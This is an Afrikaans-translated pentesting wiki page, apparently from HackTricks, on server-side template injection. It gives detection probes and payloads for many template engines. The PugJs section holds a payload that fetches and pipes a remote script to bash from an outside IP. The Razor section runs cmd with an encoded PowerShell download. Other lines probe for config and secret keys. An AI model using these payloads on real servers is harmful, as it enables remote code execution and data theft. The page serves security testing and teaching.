SSTI (Server Side Template Injection)
RootedCON is die mees relevante sibersekuriteitgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
Wat is SSTI (Serverkant Sjablooninspuiting)
Serverkant sjablooninspuiting is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan gevind word in verskeie tegnologieë, insluitend Jinja.
Jinja is 'n gewilde sjabloon-enjin wat in webtoepassings gebruik word. Laat ons 'n voorbeeld oorweeg wat 'n kwesbare kodefragment demonstreer wat Jinja gebruik:
In hierdie kwesbare kode word die name
parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die render
funksie. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die name
parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting.
Byvoorbeeld, 'n aanvaller kan 'n versoek met 'n lading soos hierdie opstel:
Die lading {{slegte-stof-hier}}
word ingespuit in die naam
parameter. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.
Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesaniteer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidering en die gebruik van konteks-bewuste ontsnappingstegnieke kan help om die risiko van hierdie kwetsbaarheid te verminder.
Opname
Om Serverkant-sjablooninspuiting (SSTI) op te spoor, is dit aanvanklik fuzzing van die sjabloon 'n reguit pad. Dit behels die inspuiting van 'n reeks spesiale karakters (${{<%[%'"}}%\
) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale lading. Kwetsbaarheidsaanwysers sluit in:
Gegooide foute wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel.
Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk.
Plainteks Konteks: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv.
{{7*7}}
,${7*7}
).Kode Konteks: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander
greeting
inhttp://vulnerable-website.com/?greeting=data.username
om te sien of die bediener se uitset dinamies of vas is, soos ingreeting=data.username}}hello
wat die gebruikersnaam teruggee.
Identifikasiefase
Die identifisering van die sjabloon-enjin behels die analisering van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in ${7/0}
, {{7/0}}
, en <%= 7/0 %>
. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal.
Gereedskap
'n Doeltreffende SSTI + CSTI-skandeerder wat nuwe poliglote benut
'n Interaktiewe tabel wat die mees doeltreffende templaatinspuiting polyglots bevat saam met die verwagte reaksies van die 44 belangrikste templaat-enjins.
Exploits
Generies
In hierdie woordelys kan jy veranderlikes wat gedefinieer is in die omgewings van sommige van die enjins hieronder genoem, vind:
Java
Java - Basiese inspuiting
Java - Haal die stelsel se omgewingsveranderlikes op
Java - Haal /etc/passwd op
FreeMarker (Java)
Jy kan jou ladingstoetse probeer by https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (oud)
${7*'7'} Niks
${foobar}
Freemarker - Sandboks deurloop
⚠️ werk slegs op Freemarker weergawes onder 2.3.30
Meer inligting
In die FreeMarker afdeling van https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Meer inligting
In die Velocity-seksie van https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf is 'n algemene toets vir SSTI kwesbaarhede die uitdrukking ${7*7}
, wat ook van toepassing is op hierdie templaat-enjin. Vir potensiële afgeleë kode-uitvoering kan uitdrukkings soos die volgende gebruik word:
SpringEL:
OGNL:
Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word uitdrukking inlyn ondersteun vir ander templaatlokasies, deur sintaksis soos [[...]]
of [(...)]
te gebruik. Dus, 'n eenvoudige SSTI toetslading kan lyk soos [[${7*7}]]
.
Die waarskynlikheid dat hierdie lading werk, is egter oor die algemeen laag. Thymeleaf se verstekkonfigurasie ondersteun nie dinamiese templaatgenerering nie; templaat moet voorgedefinieer word. Ontwikkelaars sal hul eie TemplateResolver
moet implementeer om templaat vanaf strings aan die vlieg te skep, wat ongewoon is.
Thymeleaf bied ook uitdrukking voorverwerking aan, waar uitdrukkings binne dubbele onderstreep (__...__
) voorverwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
Voorbeeld van 'n Swakheid in Thymeleaf
Oorweeg die volgende kodefragment, wat vatbaar kan wees vir uitbuiting:
Dit dui daarop dat as die templaat-enjin hierdie insette nie behoorlik verwerk nie, dit kan lei tot afgeleë kode-uitvoering wat URL's soos toegang:
Meer inligting
Spring-raamwerk (Java)
Bypass filters
Meervoudige veranderlike uitdrukkings kan gebruik word, as ${...}
nie werk nie, probeer #{...}
, *{...}
, @{...}
of ~{...}
.
Lees
/etc/passwd
Aangepaste skrip vir ladinggenerering
Meer Inligting
Lente-aansigverandering (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Ouer weergawe van Pebble ( < weergawe 3.0.9):
Nuwe weergawe van Pebble:
Jinjava (Java)
Jinjava is 'n kragsjabloon-taal wat in Java geskryf is. Dit word gebruik om dinamiese inhoud in webtoepassings te genereer. Jinjava ondersteun die meeste van die standaard sjabloonfunksies soos lusse, voorwaardelike verklarings, en funksieoproepe. Dit kan ook aangepas word om nuwe funksies by te voeg.
Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by https://github.com/HubSpot/jinjava/
Jinjava - Opdraguitvoering
Vasgestel deur https://github.com/HubSpot/jinjava/pull/230
Meer inligting
Hubspot - HuBL (Java)
{% %}
verklaringsgrense{{ }}
uitdrukkingsgrense{# #}
kommentaargrense{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Soek na "com.hubspot.content.hubl.context.TemplateContextRequest" en het die Jinjava projek op Github ontdek.
Meer inligting
Uitdrukkings Taal - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tussen die aanbiedingslaag (soos webbladsye) en die aansoeklogika (soos bestuurde bone) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE tegnologieë wat EL gebruik, sluit in:
JavaServer Faces (JSF): Maak gebruik van EL om komponente in JSF-bladsye te bind aan die ooreenstemmende agterste data en aksies.
JavaServer Pages (JSP): EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy-elemente met die aansoekdata te koppel.
Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende aansoekstruktuur verseker.
Kyk na die volgende bladsy om meer te leer oor die uitbuiting van EL-interpreteerders:
pageEL - Expression LanguageGroovy (Java)
Die volgende Security Manager omseilings is geneem uit hierdie verslag.
RootedCON is die mees relevante sibersekerheidgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline.
Smarty (PHP)
Meer inligting
In die Smarty-seksie van https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Fout
{{foobar}} Niks
Twig - Templaat formaat
Meer inligting
In die Twig en Twig (Sandboxed) afdeling van https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates is 'n templating engine wat inheems is aan PHP, wat inspirasie put uit Twig. Tog, in teenstelling met Twig, wat 'n nuwe sintaksis introduceer, maak Plates gebruik van inheemse PHP-kode in templatings, wat dit intuïtief maak vir PHP-ontwikkelaars.
Beheerder:
Bladsy templaat:
Uitleg sjabloon:
Meer inligting
PHPlib en HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB is dieselfde as PHPlib maar oorgedra na Pear.
authors.tpl
outjie.php
Meer inligting
Jade (NodeJS)
Meer inligting
In die Jade-afdeling van https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel
Meer inligting
Handlebars (NodeJS)
Paddeurloop (meer inligting hier).
= Fout
${7*7} = ${7*7}
Niks
Meer inligting
JsRender (NodeJS)
Sjabloon | Beskrywing |
Evalueer en toon uitset | |
Evalueer en toon HTML-gekodeerde uitset | |
Kommentaar | |
en | Laat kode toe (standaard gedeaktiveer) |
= 49
Kliëntkant
Bedienerkant
Meer inligting
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Voorbeeld bedienerkant-render
Meer inligting
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Geen uitset
#{7*7} = #{7*7}
{{console.log(1)}} = Fout
Meer inligting
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Fout
Meer inligting
Slim (Ruby)
{ 7 * 7 }
Meer inligting
Python
Kyk na die volgende bladsy om truuks te leer oor arbitrêre bevel uitvoering wat sandbokse omseil in Python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Fout
{{7*'7'}} = 7777777
Meer inligting
Jinja2 (Python)
Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandboks-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie.
{{7*7}} = Fout
${7*7} = ${7*7}
{{foobar}} Niks
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Templaat formaat
RCE nie afhanklik van __builtins__
:
Meer besonderhede oor hoe om Jinja te misbruik:
pageJinja2 SSTIAnder payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Meer inligting
Razor (.Net)
@(2+2) <= Sukses
@() <= Sukses
@("{{code}}") <= Sukses
@ <= Sukses
@{} <= FOUT!
@{ <= FOUT!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start
metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. Jy kan 'n kwesbare webtoepassingsvoorbeeld vind in https://github.com/cnotin/RazorVulnerableApp
Meer inligting
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Niks<%= response.write(date()) %>
= <Date>
Meer Inligting
Mojolicious (Perl)
Selfs al is dit perl, gebruik dit etikette soos ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Fout
SSTI in GO
In Go se templaat-enjin, kan bevestiging van sy gebruik gedoen word met spesifieke payloads:
{{ . }}
: Onthul die datastruktuur inset. Byvoorbeeld, as 'n objek met 'nPassword
eienskap oorgedra word, kan{{ .Password }}
dit blootstel.{{printf "%s" "ssti" }}
: Verwag om die string "ssti" te vertoon.{{html "ssti"}}
,{{js "ssti"}}
: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan verken word in die Go-dokumentasie hier.
XSS Uitbuiting
Met die text/template
pakket kan XSS maklik wees deur die payload direk in te voeg. In teenstelling kodeer die html/template
pakket die reaksie om dit te voorkom (bv., {{"<script>alert(1)</script>"}}
lei tot <script>alert(1)</script>
). Nietemin, templaatdefinisie en aanroeping in Go kan hierdie kodering omseil: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Kopieer kode
RCE Uitbuiting
RCE-uitbuiting verskil aansienlik tussen html/template
en text/template
. Die text/template
module maak dit moontlik om enige openbare funksie direk te roep (deur die "call" waarde te gebruik), wat nie toegelaat word in html/template
. Dokumentasie vir hierdie modules is beskikbaar hier vir html/template en hier vir text/template.
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n System
metode het wat bevele uitvoer, kan dit uitgebuit word soos {{ .System "ls" }}
. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld:
Meer inligting
Meer Uitbuitings
Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer uitbuitings. Jy kan ook interessante tag-inligting vind in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Verwante Hulp
As jy dink dit kan nuttig wees, lees:
Gereedskap
Brute-Force Opmerkingslys
Oefening & Verwysings
RootedCON is die mees relevante sibersekuriteitgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
Last updated